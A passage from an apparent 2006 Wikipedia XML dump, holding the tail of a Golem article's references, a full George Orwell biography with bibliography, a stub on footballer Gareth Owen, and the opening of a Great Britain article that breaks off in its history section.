* Emily D. Bilski (Ed.) ''Golem! Danger, Deliverance and Art''. The Jewish Museum, 1988.

* Arnold L. Goldsmith. ''The Golem Remembered 1909-1980: Variations of a Jewish Legend.'' Wayne State University Press, 1981. 

* Maureen T. Krause. &quot;Introduction: Bereshit bara Elohim, A Survey of the Genesis and Evolution of the Golem.&quot; ''Journal of the Fantastic'', 7.2/3, pages 113-36. 

* Norma Comrada. &quot;Golem and [[Robot]]: The Search for Connections&quot;. ''Journal of the Fantastic'', 7.2/3, pages 244-54.

* Jonathan Stroud. &quot;The Golem's Eye&quot;, Corgi, 2004

==External links==
*[http://www.untitledtheater.com/Golem%20Facts.htm Historical Figures from the Golem Legend]
*[http://www.scils.rutgers.edu/~kvander/golem/backgroundgolem.html Background on the Golem Legends]
*[http://www.sff.net/people/d.honigsberg/ravasman.htp Rava's Golem] (essay in the Summer '96 issue of the ''Journal of the Fantastic in the Arts'')
*[http://www.jewishmag.com/26mag/golem/golem.htm The Golem]
*[http://www.geocities.com/Hollywood/6960/golem.htm The Golem in Literature, Film, and Stage]
*[http://www.golemgroup.com/ The Golem Group] (robot builders)
*[http://demo.cs.brandeis.edu/golem The Golem Project - Automatic design and manufacture of robotic lifeforms]

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    <title>Greek Mythology</title>
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    <title>George Orwell</title>
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      <text xml:space="preserve">[[Image:GeorgeOrwell.jpg|thumb|200px|George Orwell on [[Time Magazine]] cover from [[1983]].]]

'''Eric Arthur Blair''' ([[June 25]], [[1903]]&amp;ndash;[[January 21]], [[1950]]), much better known by the [[pen name]] '''George Orwell''', was a [[British literature|British author]] and [[journalist]]. Noted as a political and cultural commentator, as well as an accomplished novelist, Orwell is among the most widely-admired [[English-language]] [[essayist]]s of the [[20th century]]. He is best known for two [[novel]]s written towards the middle and end of his life:  ''[[Animal Farm]]'' and ''[[Nineteen Eighty-Four]]''.

==Early life==
Eric Blair was born on [[June 25]], [[1903]] in [[Motihari]], [[Bihar]], in [[India]], during the period when India was part of the [[British Empire]] under the [[British Raj]]. There Blair's father, Richard Walmesley Blair, worked for the [[opium]] department of the [[British Civil Service|Civil Service]]. His mother, Ida Mabel Blair, brought him to the [[United Kingdom]] at the age of one. He did not see his father again until [[1907]], when Richard visited England for three months before leaving again. Eric had an older sister named Marjorie, and a younger sister named Avril. He would later describe his family's background as &quot;lower-upper-middle class.&quot;

==Education==
At the age of six, Blair was sent to a small [[Anglican]] parish school in [[Henley-on-Thames]], which his sister had attended before him. He never wrote of his recollections of it, but he must have impressed the teachers very favourably, for two years later he was recommended to the headmaster of one of the most successful preparatory schools in England at the time: [[St Cyprian's School]], in [[Eastbourne]], [[Sussex]]. Blair attended St Cyprian's on a scholarship that allowed his parents to pay only half of the usual fees. Many years later, he would recall his time at St Cyprian's with biting resentment in the essay &quot;[[Such, Such Were the Joys]]&quot;, describing the stifling limits placed on his development by the Warden. &quot;They [the officials] were my benefactors&quot;, writes Orwell, &quot;sacrificing financial gain in order that the cleverest might bring academic accolades to the school&quot;. &quot;Our brains were a gold-mine in which he [the Warden] had sunk money, and the dividends must be squeezed out of us&quot;. However, in his time at St Cyprians, the young Blair successfully earned scholarships to both [[Wellington College (Berkshire)|Wellington College]] and [[Eton College]].

After some time at [[Wellington College, Berkshire|Wellington]], Blair moved to Eton, where he was a [[King's Scholar]] from [[1917]] to [[1921]]. Later in life he wrote that he had been &quot;relatively happy&quot; at Eton, which allowed its students considerable independence, but also that he ceased doing serious work after arriving there. Reports of his academic performance at Eton vary; some assert that he was a poor student, while others claim the contrary. He was clearly disliked by some of his teachers, who resented what they perceived as disrespect for their authority. During his time at the school, Blair made lifetime friendships with a number of future British intellectuals such as [[Cyril Connolly]], the future editor of the ''Horizon'' magazine, in which many of Orwell's most famous essays were originally published.

==Burma and the early novels==
After Blair finished his studies at Eton, his family could not pay for university and he had no prospect of a scholarship. So in [[1922]] he joined the [[Indian Imperial Police]] in [[Burma]]. He came to hate [[imperialism]], returned to England in [[1927]] and resigned, determined to become a writer. He later used his Burmese experiences for the novel ''[[Burmese Days]]'' ([[1934]]) and in such essays as ''[[A Hanging]]'' ([[1931]]), and ''[[Shooting an Elephant]]'' ([[1936]]). 

In [[1928]], he moved to Paris, where his aunt lived, hoping to make a living as a freelance writer. But his lack of success forced him into menial jobs – which he later described in his first book, ''[[Down and Out in Paris and London]]'' (1933), although there is no indication that he had the book in mind at the time. 

Ill and broke, he moved back to England in [[1929]], using his parents' house in [[Southwold]], [[Suffolk]], as a base. Writing what became ''Burmese Days'', he made frequent forays into tramping as part of what had by now become a book project on the life of the underclass. Meanwhile, he became a regular contributor to [[John Middleton Murry]]'s ''New Adelphi'' magazine. 

Blair completed ''Down and Out'' in [[1932]], and it was published early the next year while he was working briefly as a schoolteacher at a private school in [[Hayes, Hillingdon|Hayes]], [[Middlesex]]. Blair became George Orwell just before ''Down and Out'' was published, adopting the pen-name of George Orwell. It is unknown exactly why he chose this name. He knew and liked the [[River Orwell]] in Suffolk and apparently found the plainness of the first name George attractive. It is believed by some that he chose George by way of [[Saint George]], among other things the patron saint of England.

Orwell drew on his teaching experiences for the novel ''[[A Clergyman's Daughter]]'' ([[1935]]), which he wrote at his parents' place in [[1934]] after ill-health forced him to give up teaching. From late 1934 to early 1936 he worked part-time as an assistant in a second-hand bookshop in [[Hampstead]], an experience later partially recounted in the novel ''[[Keep the Aspidistra Flying]]'' ([[1936]]).

== ''The Road to Wigan Pier'' ==
In early 1936, Orwell was commissioned by [[Victor Gollancz]] of the [[Left Book Club]] to write an account of life in the depressed areas of northern England, which appeared in 1937 as ''[[The Road to Wigan Pier]]''.

Soon after completing his research for the book, Orwell married [[Eileen O'Shaughnessy]].

==The Spanish Civil War and ''Homage to Catalonia''==
In [[December]] [[1936]], Orwell went to Spain to fight for the Republican side in the [[Spanish Civil War]] against [[Francisco Franco]]'s Nationalist uprising. He went as part of the [[Independent Labour Party]] [[ILP Contingent|contingent]], a group of some 25 Britons who joined the militia of the [[Workers' Party of Marxist Unification]] (POUM), a revolutionary socialist party with which the ILP was allied. The POUM, along with the radical wing of the anarcho-syndicalist CNT (the dominant force on the left in Catalonia), believed that Franco could be defeated only if the working class in the Republic overthrew capitalism — a position fundamentally at odds with that of the Spanish Communist Party and its allies, which (backed by Soviet arms and aid) argued for a coalition with bourgeois parties to defeat the Nationalists.
By his own admission, Orwell joined the POUM rather than the communist-run International Brigades by chance — but his experiences, in particular his witnessing the communist suppression of the POUM in May 1937, made him sympathetic towards the POUM line and turned him into a lifelong anti-Stalinist. During his military service, Orwell was shot through the neck and was lucky to survive. His book ''[[Homage to Catalonia]]'' describes his experiences in Spain.

==The Second World War and ''Animal Farm''==
Back in the United Kingdom, Orwell supported himself by writing freelance reviews, mainly for the ''New English Weekly'' (until he broke with it over its pacifism in [[1940]]) and then mostly for ''Time and Tide''. He joined the [[British Home Guard|Home Guard]] soon after the war began (and was later awarded the [[British Campaign Medals|Defence medal]]).  

In 1941 Orwell took a job at the [[BBC]] Eastern Service, mostly working on programmes to gain Indian and East Asian support for the United Kingdom's war efforts. He was well aware that he was shaping [[propaganda]], and wrote that he felt like &quot;an orange that's been trodden on by a very dirty boot.&quot; This being under the [[Minister of Information|Ministry of Information]], based at [[Senate House (University of London)]], he essentially worked for them too - both that institution and its building provided inspiration for the Ministry of Truth in [[Nineteen Eighty-Four]].

Despite the good pay, he resigned in [[1943]] to become literary editor of ''[[Tribune (magazine)|Tribune]],'' the left-wing weekly then edited by [[Aneurin Bevan]] and [[Jon Kimche]]. Orwell was on the staff until early 1945, contributing a regular column titled &quot;As I Please.&quot;

In [[1944]], having temporarily moved from his bombed London flat to Greystone, a rural hamlet near [[Carlton, County Durham|Carlton]], [[Stockton-on-Tees]], Orwell finished his anti-[[Stalinism|Stalinist]] allegory ''[[Animal Farm]]'', which was published the following year with great critical and popular success. The royalties from ''Animal Farm'' were to provide Orwell with a comfortable income for the first time in his adult life.
While ''Animal Farm'' was at the printer, Orwell left ''Tribune'' to become (briefly) a war correspondent for [[The Observer|''Observer'']]. He was a close friend of the ''Observer'''s editor/owner, [[David Astor]], and his ideas had a strong influence on Astor's editorial policies. (Astor, who died in 2001, is buried in the grave next to Orwell.)

==The road to ''Nineteen Eighty-Four''==
George Orwell returned from Europe in spring 1945, shortly after his wife died during an operation (they had recently adopted a baby boy, Richard Horatio Blair, who was born in [[1944|May 1944]]). 

For the next three years Orwell mixed journalistic work — mainly for ''Tribune'', the ''Observer'' and the ''Manchester Evening News'', though he also contributed to many small-circulation political and literary magazines — with writing his best-known work, ''[[Nineteen Eighty-Four]]'', which was published in 1949. 

He wrote much of the novel while living in a remote farmhouse on the island of [[Jura, Scotland|Jura]], off the coast of [[Scotland]], to which he moved in 1946 despite increasingly bad health.

In [[1949]], Orwell was approached by a friend, Celia Kirwan, who had just started working for a Foreign Office unit, the Information Research Department, which had been set up by the Labour government to publish pro-democratic and [[anti-communist]] [[propaganda]]. He gave her a list of 37 writers and artists he considered to be unsuitable as IRD authors because of their pro-communist leanings. The list, not published until 2003, consists mainly of journalists (among them the editor of the ''[[New Statesman]]'', [[Kingsley Martin]]) but also includes the actors [[Michael Redgrave]] and [[Charlie Chaplin]]. Orwell's motives for handing over the list are unclear, but the most likely explanation is the simplest: that he was helping out a friend in a cause — anti-Stalinism — that they both supported. There is no indication that Orwell ever abandoned the [[democratic socialism]] that he consistently promoted in his later writings — or that he believed the writers he named should be suppressed. Orwell's list was also accurate: the people on it had all, at one time or another, made pro-Soviet or pro-communist public pronouncements.

In October 1949, shortly before his death, he married [[Sonia Brownell]]. Orwell died in [[London]] at the age of 46 from [[tuberculosis]], which he had probably contracted during the period described in ''Down and Out in Paris and London''. He was in and out of hospitals for the last three years of his life. Having requested burial in accordance with the [[Anglican]] rite, he was interred in All Saints' Churchyard, [[Sutton Courtenay]], [[Oxfordshire]] with the simple epitaph: Here lies Eric Arthur Blair, born [[June 25th]], [[1903]], died [[January 21st]], [[1950]].

Orwell's adopted son, Richard Horatio Blair, was raised by an aunt after his father's death. He maintains a low public profile, though he has occasionally given interviews about the few memories he has of his father. Blair worked for many years as an agricultural agent for the British government, and had no interest in writing.

==Political views==
Orwell's political views changed over time, but there can be no doubt that he was a man of the left throughout his life as a writer. His time in Burma made him a staunch opponent of imperialism, and his experience of poverty while researching ''Down and Out in Paris and London'' and ''The Road to Wigan Pier'' turned him into a socialist. &quot;Every line of serious work that I have written since 1936 has been written, directly or indirectly, against [[totalitarianism]] and for [[democratic Socialism]], as I understand it,&quot; he wrote in 1946.

It was Spain, however, that played the most important part in defining his socialism. Having witnessed at first hand the suppression of the revolutionary left by the Communists, Orwell returned from Catalonia a staunch anti-Stalinist and joined the Independent Labour Party.

At the time, like most other left-wingers in the United Kingdom, he was still opposed to rearmament against Hitlerite Germany — but after the [[Molotov-Ribbentrop pact]] and the outbreak of the Second World War, he changed his mind. He left the ILP over its pacifism and adopted a political position of &quot;revolutionary patriotism&quot;. He supported the war effort but detected (wrongly as it turned out) a mood that would lead to a revolutionary socialist movement among the British people. &quot;We are in a strange period of history in which a revolutionary has to be a patriot and a patriot has to be a revolutionary,&quot; he wrote in ''Tribune'', the Labour left's weekly, in December 1940.

By 1943, his thinking had moved on. He joined the staff of ''Tribune'' as literary editor, and from then until his death was a left-wing (though hardly orthodox) democratic socialist. He canvassed for the Labour Party in the 1945 general election and was broadly supportive of its actions in office, though he was sharply critical of its timidity on certain key questions and was also harshly critical of the pro-Soviet stance of many Labour left-wingers.

Although he was never either a [[Trotskyist]] or an [[anarchist]], he was strongly influenced by the Trotskyist and anarchist critiques of the Soviet regime and by the anarchists' emphasis on individual freedom. This is a central truth about Orwell.  Many of his closest friends in the mid-1940s were part of the small anarchist scene in London.

In his last years, Orwell was, unlike several of his comrades around ''Tribune'', a fierce opponent of the creation of the state of [[Israel]]. He was also an early proponent of a federal Europe.

==Legacy==
===Work===
During most of his career, Orwell was best known for his [[journalism]],  in essays, reviews, columns in newspapers and magazines and in his books of reportage: ''[[Down and Out in Paris and London]]'' (describing a period of poverty in these cities), ''[[The Road to Wigan Pier]]'' (describing the living conditions of poor miners in northern England) and ''[[Homage to Catalonia]]'' (describing his experiences during the [[Spanish Civil War]]). According to ''[[Newsweek]]'', Orwell &quot;was the finest of his day and the foremost architect of the English essay since [[William Hazlitt|Hazlitt]].&quot; 

Contemporary readers are more often introduced to Orwell as a novelist, particularly through his enormously successful titles ''[[Animal Farm]]'' and ''[[Nineteen Eighty-Four]]''. The former is an allegory of the corruption of the socialist ideals of the [[Russian Revolution of 1917|Russian Revolution]] by [[Stalinism]], and the latter is Orwell's prophetic vision of the results of [[totalitarianism]]. ''[[Nineteen Eighty-Four]]'' is often compared to [[Brave New World]] by [[Aldous Huxley]]; both are powerful [[dystopia|dystopian]] novels of a possible future of state control, the former bleak and the latter superficially happy.

===Influence on the English language===
''[[Nineteen Eighty-Four]]'' has given the English language the phrase 'Big Brother', or 'Big Brother is watching you'. This is used to refer to any oppressive regime, but particularly in the context of invasion of privacy. The TV series '[[Big Brother (TV series)|Big Brother]]' is named after this phrase.

The adjective [[Orwellian]] is mainly derived from the system depicted in ''Nineteen Eighty-Four''. It can refer to any form of government oppression, but it is particularly used to refer to euphemistic and misleading language originating from government bodies with a political purpose, for example &quot;Ministry of Defence&quot;, &quot;collateral damage&quot; and &quot;pacification&quot;.

Orwell expounded on the importance of honest and clear language (and, conversely, on how misleading and vague language can be a tool of political manipulation) in his 1946 essay ''[[Politics and the English Language]]''.

Variations of the slogan &quot;all animals are equal, but some are more equal than others&quot;, from ''[[Animal Farm]]'', are sometimes used to satirise situations where equality exists in theory and rhetoric but not in practice. For example, an allegation that rich people are treated more leniently by the courts despite legal equality before the law might be summarised as &quot;all criminals are equal, but some are more equal than others&quot;.

Although the origins of the term are debatable, Orwell may have been the first to use the term 'cold war'. He used it in an essay titled &quot;[http://orwell.ru/library/articles/ABomb/english/e_abomb.html You and the Atomic Bomb]&quot; on [[October 19]], [[1945]] in ''Tribune'', he wrote:

:''&quot;We may be heading not for general breakdown but for an epoch as horribly stable as the slave empires of antiquity. [[James Burnham]]'s theory has been much discussed, but few people have yet considered its ideological implications — this is, the kind of world-view, the kind of beliefs, and the social structure that would probably prevail in a State which was once unconquerable and in a permanent state of 'cold war' with its neighbours.&quot;''

===Literary influences===
Orwell claimed that his writing style was most similar to that of [[Somerset Maugham]]. In his literary essays, he also strongly praised the works of [[Jack London]], especially his book ''The Road.'' Orwell's investigation of poverty in ''The Road to Wigan Pier'' strongly resembles that of Jack London's ''The People of the Abyss,'' in which the American journalist disguises himself as an out-of-work sailor in order to investigate the lives of the poor in London. In his literary essays, George Orwell also praised [[Charles Dickens]], ''[[Tropic of Cancer (novel)|Tropic of Cancer]]'' author [[Henry Miller]] and [[Herman Melville]], the author of ''[[Moby Dick]]''. Another of his favourite authors was [[Jonathan Swift]], and, in particular, his book ''[[Gulliver's Travels]]'', which he rated as one of the six greatest books ever written. [[George Gissing]]'s New Grub Street with its description of the growing commercialisation of late [[19th century]] society was another influence.

==Bibliography==
===Books===
*''[[Down and Out in Paris and London]]'' ([[1933]]) — [http://orwell.ru/library/novels/Down_and_Out_in_Paris_and_London/english/]
*''[[Burmese Days]]'' ([[1934]]) — [http://orwell.ru/library/novels/Burmese_Days/]
*''[[A Clergyman's Daughter]]'' ([[1935]]) — [http://orwell.ru/library/novels/A_Clergymans_Daughter/]
*''[[Keep the Aspidistra Flying]]'' ([[1936]]) — [http://orwell.ru/library/novels/Keep_the_Aspidistra_Flying/]
*''[[The Road to Wigan Pier]]'' ([[1937]]) — [http://orwell.ru/library/novels/The_Road_to_Wigan_Pier/]
*''[[Homage to Catalonia]]'' ([[1938]]) — [http://orwell.ru/library/novels/Homage_to_Catalonia/]
*''[[Coming Up for Air]]'' ([[1939]]) — [http://orwell.ru/library/novels/Coming_up_for_Air/]
*''[[Animal Farm]]'' ([[1945]]) — [http://orwell.ru/library/novels/Animal_Farm/]
*''[[Nineteen Eighty-Four]]'' ([[1949]]) — [http://orwell.ru/library/novels/1984/]

===Essays===
''Main description: [[Essays of George Orwell]]''
&lt;!-- Following are essays that have appeared two or more published collections of essays,
     besides CEJL and CW (see http://orwell.ru/biblio/english/bbl_0c) --&gt;
*&quot;[[A Hanging]]&quot; ([[1931]]) — [http://orwell.ru/library/articles/hanging/]
*&quot;[[Shooting an Elephant]]&quot; ([[1936]]) — [http://orwell.ru/library/articles/elephant/]
*&quot;[[Charles Dickens (essay)|Charles Dickens]]&quot; ([[1939]]) — [http://orwell.ru/library/reviews/dickens/]
*&quot;[[Boys' Weeklies]]&quot; ([[1940]]) — [http://orwell.ru/library/essays/boys/]
*&quot;[[Inside the Whale]]&quot; ([[1940]]) — [http://orwell.ru/library/essays/whale/]
*&quot;[[The Lion and The Unicorn: Socialism and the English Genius]]&quot; ([[1941]]) — [http://orwell.ru/library/essays/lion/english/]
*&quot;[[Wells, Hitler and the World State]]&quot; ([[1941]]) — [http://orwell.ru/library/reviews/wells/]
*&quot;[[The Art of Donald McGill]]&quot; ([[1941]]) — [http://orwell.ru/library/reviews/McGill/]
*&quot;[[Looking Back on the Spanish War]]&quot; ([[1943]]) — [http://orwell.ru/library/essays/Spanish_War/]
*&quot;[[W. B. Yeats (essay)|W. B. Yeats]]&quot; ([[1943]]) — [http://orwell.ru/library/reviews/yeats/]
*&quot;[[Benefit of Clergy: Some notes on Salvador Dali]]&quot; ([[1944]]) — [http://orwell.ru/library/reviews/dali/]
*&quot;[[Arthur Koestler (essay)|Arthur Koestler]]&quot; ([[1944]]) — [http://orwell.ru/library/reviews/koestler/]
*&quot;[[Notes on Nationalism]]&quot; ([[1945]]) — [http://orwell.ru/library/essays/nationalism/]
*&quot;[[How the Poor Die]]&quot; ([[1946]]) — [http://orwell.ru/library/articles/Poor_Die/]
*&quot;[[Politics vs. Literature: An Examination of Gulliver's Travels]]&quot; ([[1946]]) — [http://orwell.ru/library/reviews/swift/]
*&quot;[[Politics and the English Language]]&quot; ([[1946]]) — [http://orwell.ru/library/essays/politics/]
*&quot;[[Second Thoughts on James Burnham]]&quot; ([[1946]]) — [http://orwell.ru/library/reviews/burnham/]
*&quot;[[Decline of the English Murder]]&quot; ([[1946]]) — [http://orwell.ru/library/articles/decline/]
*&quot;[[Some Thoughts on the Common Toad]]&quot; ([[1946]]) — [http://orwell.ru/library/articles/Common_Toad/]
*&quot;[[A Good Word for the Vicar of Bray]]&quot; ([[1946]]) — [http://orwell.ru/library/reviews/vicar/]
*&quot;[[In Defence of P. G. Wodehouse]]&quot; ([[1946]]) — [http://orwell.ru/library/reviews/plum/]
*&quot;[[Why I Write]]&quot; ([[1946]]) — [http://orwell.ru/library/essays/wiw/]
*&quot;[[The Prevention of Literature]]&quot; ([[1946]]) — [http://orwell.ru/library/essays/prevention/]
*&quot;[[Such, Such Were the Joys]]&quot; ([[1946]]) — [http://orwell.ru/library/essays/joys/english/]
*&quot;[[Lear, Tolstoy and the Fool]]&quot; ([[1947]]) — [http://orwell.ru/library/essays/lear/]
*&quot;[[Reflections on Gandhi]]&quot; ([[1949]]) — [http://orwell.ru/library/reviews/gandhi/]
*&quot;[[Bookshop Memories]]&quot; ([[1936]]) — [http://www.george-orwell.org/Bookshop_Memories/0.html]
*&quot;[[The Moon Under Water]]&quot; ([[1946]]) - [http://www.whitebeertravels.co.uk/orwell]

===Poems===
*Romance ([[1925]]) [http://orwell.ru/library/poems/romance/english/e_rom]
*[[A Little Poem]] ([[1936]]) [http://orwell.ru/library/poems/vicar/english/e_lp]

==Trivia==
*[[Aldous Huxley]] was Orwell's [[French language|French]] teacher for a [[Academic term|term]] early in his Eton career.
*His wife Eileen was once a student of [[J.R.R. Tolkien]].
*Despite being remembered for his radio broadcasts for the BBC during the war no recording of Orwell speaking was known until 2002. The only known film footage of Orwell is from him at Eton playing the [http://www.theage.com.au/articles/2003/09/03/1062515435094.html Eton Wall Game]
*Orwell had an [[NKVD]] file — partly due to his anti-Stalinist ''[[Animal Farm]]''.
*Before settling on &quot;George Orwell&quot;, Eric Blair had considered using the pseudonyms &quot;P.S. Burton,&quot; &quot;Kenneth Miles,&quot; and &quot;H. Lewis Allways&quot;.

==See also==
* ''[[Nineteen Eighty-Four (TV programme)|Nineteen Eighty-Four]]'', the BBC's famous [[1954]] television adaptation of Orwell's novel.
* [[James Burnham]], whose book ''The Managerial Revolution'' was a major influence on the development of ''Nineteen Eighty-Four''.
* [[Yevgeny Zamyatin]], whose novel ''[[We (novel)|We]]'', which Orwell reviewed, provided a model for ''Nineteen Eighty-Four''.

==Books about George Orwell==
* [[Gordon Bowker|Bowker, Gordon]]. ''George Orwell''. Little Brown. 2003. ISBN 0316861154
* Caute, David. ''Dr. Orwell and Mr. Blair'', Weidenfeld &amp; Nicolson. ISBN 0297814389
* [[Bernard Crick|Crick, Bernard]]. ''George Orwell: A Life''. Penguin. 1982. ISBN 0140058567
* Flynn, Nigel. ''George Orwell''. The Rourke Corporation, Inc. 1990. ISBN 086593018X
* [[Christopher Hitchens|Hitchens, Christopher]]. ''Why Orwell Matters''. Basic Books. 2003. ISBN 0465030491
* Hollis, Christopher. ''A Study of George Orwell: The Man and His Works''. Chicago: Henry Regnery Co. 1956. ASIN: B000ANO242.
* Larkin, Emma. ''Finding George Orwell in Burma''. Penguin. 2005. ISBN 1594200521
* Meyers, Jeffery. ''Orwell: Wintry Conscience of a Generation''. W.W.Norton. 2000. ISBN 0393322637
* [[John Newsinger|Newsinger, John]]. ''Orwell's Politics''. Macmillan. 1999. ISBN 0-333-68287-4
* [[Michael Shelden|Shelden, Michael]]. ''Orwell: The Authorized Biography''. HarperCollins. 1991. ISBN 0060167092
* Smith, D. &amp; Mosher, M. ''Orwell for Beginners''. 1984. London: Writers and Readers Publishing Cooperative.
* [[D. J. Taylor|Taylor, D. J.]] ''Orwell: The Life''. Henry Holt and Company. 2003. ISBN 0-8050-7473-2
* West, W. J. ''The Larger Evils''. Edinburgh: Canongate Press. 1992. ISBN 0-86241-382-6 (Nineteen Eighty-Four – The truth behind the satire.)
* West, W. J. (ed.) ''George Orwell: The Lost Writings''. New York: Arbor House. 1984. ISBN 0877957452
* [[Raymond Williams|Williams, Raymond]], ''Orwell'', Fontana/Collins, 1971
* [[George Woodcock|Woodcock, George]]. ''The Crystal Spirit''. Black Rose Books. 1966. ISBN 1551642689

==External links==
{{Wikiquote}}
* [http://he.shvoong.com/books/essays/31110-bookshop-memories/ A summary of the essay &quot;Bookshop Memories&quot;]
* [http://www.netcharles.com/orwell/ctc/faq.htm The Chestnut Tree Cafe - George Orwell FAQ]
* [http://www.orwell.ru orwell.ru &amp;mdash; Orwell's complete works]
* [http://en.wikiquote.org/wiki/Animal_Farm Wikiquote &amp;mdash; Quotes from Animal Farm]
* [http://www.orwell.ru/library/essays/wiw/english/e_wiw &quot;Why I Write&quot; by Orwell]
* [http://www.netcharles.com/orwell/ Charles' George Orwell Links]
* [http://www.george-orwell.org The Complete Works of George Orwell]
* [http://us.imdb.com/name/nm0000567/ Films based on Orwell's novels] from [[Internet Movie Database]]
* [http://www.newspeakdictionary.com/index-man.html Newspeak Dictionary]
* [http://www.tidsskriftcentret.dk/index.php?id=162 The George Orwell of the Left] Books, and links to sites &amp; articles in Scandinavian &amp; English. (Tidsskriftcentret.dk).
* [http://www.studentsfororwell.org/ Students for an Orwellian Society]

[[Category:1903 births|Orwell, George]]
[[Category:1950 deaths|Orwell, George]]
[[Category:George Orwell|*]]
[[Category:Old Etonians|Orwell George]]
[[Category:Old Wellingtonians|Orwell, George]]
[[Category:Spanish Civil War people|Orwell, George]]

[[ar:جورج أورويل]]
[[ast:George Orwell]]
[[bg:Джордж Оруел]]
[[bn:জর্জ অরওয়েল]]
[[br:Georges Orwell]]
[[bs:George Orwell]]
[[ca:George Orwell]]
[[cs:George Orwell]]
[[da:George Orwell]]
[[de:George Orwell]]
[[eo:George ORWELL]]
[[es:George Orwell]]
[[et:George Orwell]]
[[eu:George Orwell]]
[[fi:George Orwell]]
[[fr:George Orwell]]
[[fy:George Orwell]]
[[ga:George Orwell]]
[[he:ג'ורג' אורוול]]
[[hr:George Orwell]]
[[hu:George Orwell]]
[[id:George Orwell]]
[[io:George Orwell]]
[[it:George Orwell]]
[[ja:ジョージ・オーウェル]]
[[ka:ორუელი, ჯორჯ]]
[[ko:조지 오웰]]
[[lt:Džordžas Orvelas]]
[[lv:Džordžs Orvels]]
[[mk:Џорџ Орвел]]
[[nl:George Orwell]]
[[nn:George Orwell]]
[[no:George Orwell]]
[[os:Оруэлл, Джордж]]
[[pl:George Orwell]]
[[pt:George Orwell]]
[[ro:George Orwell]]
[[ru:Оруэлл, Джордж]]
[[scn:George Orwell]]
[[sh:Džordž Orvel]]
[[simple:George Orwell]]
[[sk:George Orwell]]
[[sl:George Orwell]]
[[sr:Џорџ Орвел]]
[[sv:George Orwell]]
[[th:จอร์จ ออร์เวลล์]]
[[tr:George Orwell]]
[[uk:Орвелл Джордж]]
[[zh:乔治·奥威尔]]
[[zh-min-nan:George Orwell]]</text>
    </revision>
  </page>
  <page>
    <title>Gareth Owen</title>
    <id>11892</id>
    <revision>
      <id>37308755</id>
      <timestamp>2006-01-30T03:52:46Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Gareth Owen''' is a [[football (soccer)|football]] player for [[Oldham Athletic A.F.C.|Oldham Athletic]].

He previously was at [[Stoke City F.C.|Stoke City]], going out on loan to [[Torquay United F.C.|Torquay United]].

[[Category:1982 births|Owen, Gareth]]
[[Category:Living people|Owen, Gareth]]
[[Category:Welsh footballers|Owen, Gareth]]
[[Category:Stoke City F.C. players|Owen, Gareth]]
[[Category:Oldham Athletic A.F.C. players|Owen, Gareth]]
[[Category:Torquay United F.C. players|Owen, Gareth]]

{{Euro-footybio-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Great Britain</title>
    <id>11893</id>
    <revision>
      <id>42156220</id>
      <timestamp>2006-03-04T04:45:43Z</timestamp>
      <contributor>
        <username>Vanka5</username>
        <id>428424</id>
      </contributor>
      <minor />
      <comment>+ bg</comment>
      <text xml:space="preserve">''For an explanation of terms such as [[Great Britain]], [[British]], [[United Kingdom]], [[England]], [[Scotland]] and [[Wales]], see [[British Isles (terminology)]]''
[[Image:LocationIslandGreatBritain.png|thumb|250px|Great Britain lies between Ireland and continental Europe]]

'''Great Britain''' is an island lying off the north-western coast of [[Europe]] and to the east of [[Ireland]], comprising the main territory of the [[United Kingdom]]. Great Britain is also used as a political term describing the combination of [[England]], [[Scotland]] and [[Wales]], the two countries and the  principality of Wales, which together comprise the entire island and include some outlying islands. Great Britain is also widely, but incorrectly, used as a synonym for the sovereign state properly known as the United Kingdom of Great Britain and Northern Ireland.

==Geographical definition==

With an area of 218 595[[square kilometre|km&amp;sup2;]] (84,400 [[square mile|sq.mi]]) the island of Great Britain is the largest of the [[British Isles]]. It is the largest island in [[Europe]], and [[List of islands by area|eighth largest]] in the world. It is the [[List of islands by population|third most populous island]] after [[Java (island)|Java]] and [[Honshu]].

Great Britain stretches over approximately ten degrees of [[latitude]] on its longer, north-south axis. Geographically, the island is marked by low, rolling countryside in the east and south, while hills and mountains predominate in the western and northern regions. Before the end of the last [[ice age]], Great Britain was a [[peninsula]] of Europe; the rising sea levels caused by glacial melting at the end of the ice age caused the formation of the [[English Channel]], the body of water which now divides Great Britain from the European mainland.

The [[climate]] of Great Britain is milder than that of other regions of the [[Northern Hemisphere]] at the same latitude, because the warm waters of the [[Gulf Stream]] pass by the British Isles and exert a moderating influence on the weather.  Cool, but not cold, temperatures, clouds more often than sun, and abundant rain are the rule in most years.

==Political definition==
Politically, ''Great Britain'' describes the combination of [[England]], [[Scotland]], and [[Wales]]. It includes outlying islands such as the [[Isles of Scilly]], the [[Hebrides]], and the island groups of [[Orkney]] and [[Shetland]] but does not include the [[Isle of Man]] or the [[Channel Islands]].

Over the centuries, Great Britain has evolved politically from several independent countries (England, Scotland, and Wales) through two kingdoms with a shared [[monarch]] (England and Scotland), a single all-island [[Kingdom of Great Britain]], to the situation following [[1801]], in which Great Britain together with the island of [[Ireland]] constituted the larger [[United Kingdom of Great Britain and Ireland]] (UK). The UK became the [[United Kingdom|United Kingdom of Great Britain and Northern Ireland]] in the 1920s following the independence of five-sixths of Ireland as the [[Republic of Ireland]].
&lt;!--
The following text removed:
*************
The capital of the UK is London. It is a common misconception that England, Wales and Scotland have capitals (London, Cardiff and Edinburgh respectively) but they do not, since technically they are not individual countries.
*************
We are in danger of scope creep by getting too deep in the detail of the UK. As far as capital cities are concerned, I am interested in this assertion but would like more evidence. The Queen used the term &quot;capital city&quot; when referring to Edinburgh addressing the Scottish Parliament. http://www.royal.gov.uk/output/page4186.asp The Scottish Justice Minister appears to believe it is a capital. http://www.scotland.gov.uk/News/Releases/2004/08/16091707 I did not search further.
--&gt;

== History==
The Roman geographer Ptolemy called the larger island Megale Brettania (Great Britain), and the smaller island Micra Bretannia (Little Britain). Hence, originally, the term Great Britain referred to the largest island in the British Isles, just as the largest of the Canary Islands is still called Gran Canaria, and the largest of the Comoros is Grande Comore.

